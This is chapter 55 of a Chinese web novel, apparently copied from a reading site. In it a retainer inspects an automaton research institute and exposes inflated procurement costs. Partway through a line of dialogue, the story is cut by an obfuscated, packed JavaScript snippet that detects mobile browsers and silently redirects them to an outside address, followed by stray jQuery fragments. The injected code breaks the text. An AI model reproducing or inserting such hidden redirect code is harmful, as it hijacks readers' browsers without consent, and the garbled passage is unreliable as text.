55. 视察
作品:《手刃仇人前我先当他保镖》 两日后。
“什么?公子竟忽然去外地游玩了?我怎半点不知?”
苍仁曲前往研枢院途中,偶遇本随宋谨出行的侍从独自折返,询之方知,宋谨一时兴起,与马场的于大师一起离开秀止游山玩水去了。
“你与公子关系亲厚,我以为你早已知晓。”侍从一脸讶异,打趣道。
“院里谁人不知我跟他清清白白?”苍仁曲作势要揍他,“他晨练完就说去找于大师,提剑就走,原不是说去马场骑马吗?那模样,跟赶急事一样。”
侍从道:“公子跟于大师两人骑马直接走了,叫我回来说一声。临行前我特意问过,要不要带上你?公子说你有要事在身,不耽误你。”
要事?
哪里是她自愿要做的!
回想起两日前在书房一口应下替宋谨对接研枢院的事,她原以为不过是跑跑腿的活,谁能料到他拍拍屁股,径自潇洒去了!
“公子真是……”她又气又急道,“这可是老爷全权托付给他的差事,他倒好,甩手全丢给我!我不过一介侍从,没他出面,我哪有那么大权力管研枢院的‘正事’?”
侍从道:“公子指不定还在与老爷置气,才将此事丢给了你。既然是公子交代的,你好好去做吧。”
苍仁曲暗暗叫苦,又被他算计一回,叹道:“此破差事,做好无功,做坏罪责难逃,到时候何止公子一人问责?我还不如草草应付。”
侍从又道:“公子早料到你会如此,特意交代,待他回来定要过问。若研枢院遇上棘手之事你处置不了,可去寻小安,到公子屋里取他信物,凭此可出入宋家所有地界。”
听到后半句话,苍仁曲眼前一亮。
……
研枢院。
时隔多日,苍仁曲再度到此,院门翻新了一番,焕然一新。原先两侧的偃人不再守在门前,取而代之的,它们分设左右两座展台之上,周身部件新整光洁,宛若精致藏品,供人观赏。
一个学士提着一把掸子,一个刷桶,走到展台面前,他一眼看到门前的苍仁曲,冷眼中透露出些许疲惫,一点不愿意理会她,自顾自用掸子扫落身前的偃人。
见他视若无睹,苍仁曲礼貌上前打了个招呼,问:“请问院长在吗?”
“不在。”学士语气还算友好,目光有些涣散无神。
苍仁曲:“我奉宋家宋谨公子之命,前来过问偃人项目进展,他乃是此次项目监工。”
“啊——”学士手一抖,望向苍仁曲时神情慌乱,似是见了不敢得罪之人。他忙放下掸子,恭声道:“您稍等,我这就去请荀师兄来。”
“好。”
见她神色与语气平和,学士慌乱中勉强挤出一丝微笑,匆匆跑入院内寻人。
苍仁曲在门前驻足着,静静端详起眼前的偃人,上回陪宋谨去戏院听戏,院中亦有一具研枢院特制的偃人,形制与此分毫不差。
这具偃人栩栩如生,端坐不动,宛若真人,然而面上没有五官,里里外外透露出一股难言的诡异。
她目光落至脚边刷桶,桶中盛着瓷白特制染料,专供偃人补色之用。这样不足膝高的一小桶,价值抵得上她在宋府一年薪俸。
偃人属于高端造物,在民间鲜为人知,其研究耗资极其昂贵,堪比天价。万邦机枢之术虽源远流长,偃人为其中一道细枝末节,研究进展迟缓漫长。民间商号无力承担巨费,唯有官府与官助的科研院涉足此类研究。
直至萧晚乔最新改良的成果,在保证其性能不变的前提下,将制造成本骤减大半,近乎可推入民间市面。只可惜这一重大突破被研枢院院长父子窃为己有,用以套取科研经费,日后能否真正落地,未有定论。
正思忖间,院内快步走出两人,荀东酉一个劲教训方着才那位学士:“你怎么办事的!怎么能让人家在门口候着!上次把谨公子晾在门口得罪在先!要这次再敢怠慢,人家计较起来,后果你担待不起!”
苍仁曲看到那名学士满脸通红,连声告罪:“师兄教训的是,是我怠慢了。”
荀东酉随即变换笑脸相迎,见只有苍仁曲一个人,瞬间淡了笑容,他左右张望一下,问道:“就你一个?谨公子不来?”
苍仁曲从容道:“谨公子另有要事,特命我前来视察。”
上一次在她面前吃了瘪,这会儿没了谨公子给她撑腰,荀东酉瞬间拉了脸,和气的笑容烟消云散,懒得虚与委蛇,神色尽是轻慢。
“这样啊,我丑话说在前头。你知道这是什么地方吗?研枢院乃交州数一数二的科研院所,这里面诸多事物,你恐怕闻所未闻、见所未见。何况院中众人事务繁忙,没有闲工夫一一为你解说,说了你也未必明白,回头无法向谨公子复命。依我之见……不妨等他归来,让他亲自过来视察。”
苍仁曲:“没成想研枢院架子如此之大,连谨公子遣来的人都不放在眼里,一定要本尊亲至才好生招待,这就是你们的待客之道?”
夹在二人中间的学士提着刷桶,路过他们身边,置若罔闻般给展台上的偃人补色。
“你别乱说,我半点没有针对谨公子的意思。”荀东酉目光一转,看向那人,“师弟,你说是不是?”
“呃……”师弟手一抖,匆匆瞟了他们一眼便低下头,支支吾吾半天回答不出个所以然。
荀东酉暗“啧”一声,又准备要对师弟发难,苍仁曲已先开口:“荀先生,你横在门口,是打算拒我于门外吗?”
荀东酉见她神色傲慢,颇为不爽,举止间流露出不屑:“我还受不起先生之称。你既是谨公子派来的,我自然不敢怠慢。之前你对我不敬,我大人大量,不与你计较。只是你要明白,研枢院中皆是为万邦作出贡献的贤才大家,你的态度,理当放尊重些。”
苍仁曲缓步上前,她比荀东酉高半个头,加之远强于文人的精练体魄,一股浑然天成的威压迎面而来:“那你对自己的师弟就这态度?还有萧晚乔,那个被你抢走项目的学士。”
荀东酉被苍仁曲逼得连连后退,慌忙且不甘地让开一条道路,嘴硬道:“每个人都是这么熬过来的,这是师门规矩!萧晚乔的事,耳听眼见不一定为实,姑娘莫要妄下论断。你一个局外人,少管闲事。”
“带路。”苍仁曲使唤道。
荀东酉被这声凛然的气势一压,脑袋空空,下意识迈步上前,等反应过来时他忽然顿住,又气又窘,当即喝向不远处正在偷瞄的师弟:“师弟!你来招待这位宋府来的‘贵人’!”
师弟连忙放下手中刷子,唯唯诺诺看向苍仁曲,比起师兄,她看起来更加摄人。他一脸难堪道:“师兄……我不够资格,怕是招
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255328|195760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待不好……”
荀东酉一脸嫌弃望着他:“啧,难得给你机会好好表现一次,你怎么不好好把握住呢?”
苍仁曲:“是啊,荀先生,难得的机会摆在你面前,你怎也不知把握?”
荀东酉:“你这话什么意思?”
苍仁曲直言不讳:“我说白了,这个项目工部本来就不看好,是你的院长父亲,为了能让你在文试拿到一个好名次,求了府尹,项目才得以通过。如今谨公子代府尹监工,你身为主事之人,若是表现的不好,这个项目随时能黄掉,事关你一生前程。”
荀东酉神色躲闪,恰似考场舞弊被当场擒获的学子,死撑着不肯承认,又被考官逼着当场解题自证,窘迫至极。
“你回去。”他遣走师弟,自觉为苍仁曲领路,“姑娘话都说到这个份上了,我便带你视察一番。”
他清楚自己肚子里有几分墨水,尽管如此,他打心底觉得苍仁曲也就是个半吊子水平。他在研枢院耳濡目染些许时日,水平再不济,也比她这个外行人强。
师弟劫后余生,两人终于走远,更加卖力地给偃人补色。
……
研枢院乃是综合性技研之地,下设诸多课题,而偃人项目乃是极具突破性的重中之重,得到了院长亲自关注把控,更从各课题组调拔资源,全力投入研制。
荀东酉带苍仁曲来到偃人研造之所,此处灯火通明,学士往来不绝,各司其职——绘图纸、造部件、试运转,学术交流间,偶有提及“萧晚乔”之名,众人皆围绕她昔日所研继续深挖。
“荀师兄,这是本月两具偃人研制的采买清单,请您过目。”一名学士持着一纸清单,递给正与苍仁曲说话的荀东酉面前。
荀东酉只扫了一眼,递还给她:“知道了,我去同院长禀报,约莫三日后经费会批下,先用我的银子垫着。”
学士应了声“好”,离开之后,苍仁曲就方才清单上的金额问道:“一千两?像院门的那两具偃人,每具就要五百两?”
荀东酉答道:“偃人研造本就是顶尖之学,材料珍稀难寻,耗费高昂再正常不过。”
苍仁曲道:“我阅过萧晚乔的原目,原先研造一具偃人确是这个价,可经她改良后,材料造价最多不过五十两。这清单上的用料与她改良后的相差无几,价码却翻了十倍不止。”
荀东酉道:“没有错,研枢院研发用料,皆由官府指定商号供应,采买交接一概依官价结算。萧晚乔污蔑家父借研发经费中饱私囊,纯属无稽之谈。”
苍仁曲质问道:“料廉而价不减,十倍盈余,难道凭空落入他人囊中?”
荀东酉:“官府定的价,谁敢多问?这些供货商乃是家父托府尹人脉寻得,我只知道不少商号和宋家有关,府尹才批了下来,你回去问谨公子最清楚。”
苍仁曲:“按此造价,世间有几乎家能买得起?一具偃人所费,足以雇请十名佣工长年劳作。”
荀东酉:“此项目明为民用,既然已呈交军器监,属于军机要务,本就无意推向民间,投入民间尚需从长计议。”
苍仁曲:“那这些偃人要在哪里试用?”
荀东酉:“沿海倭寇作乱正凶,最新一批偃人将投往前线试用,若能派上用场,无需再售予民间。”
苍仁曲:“什么……?”

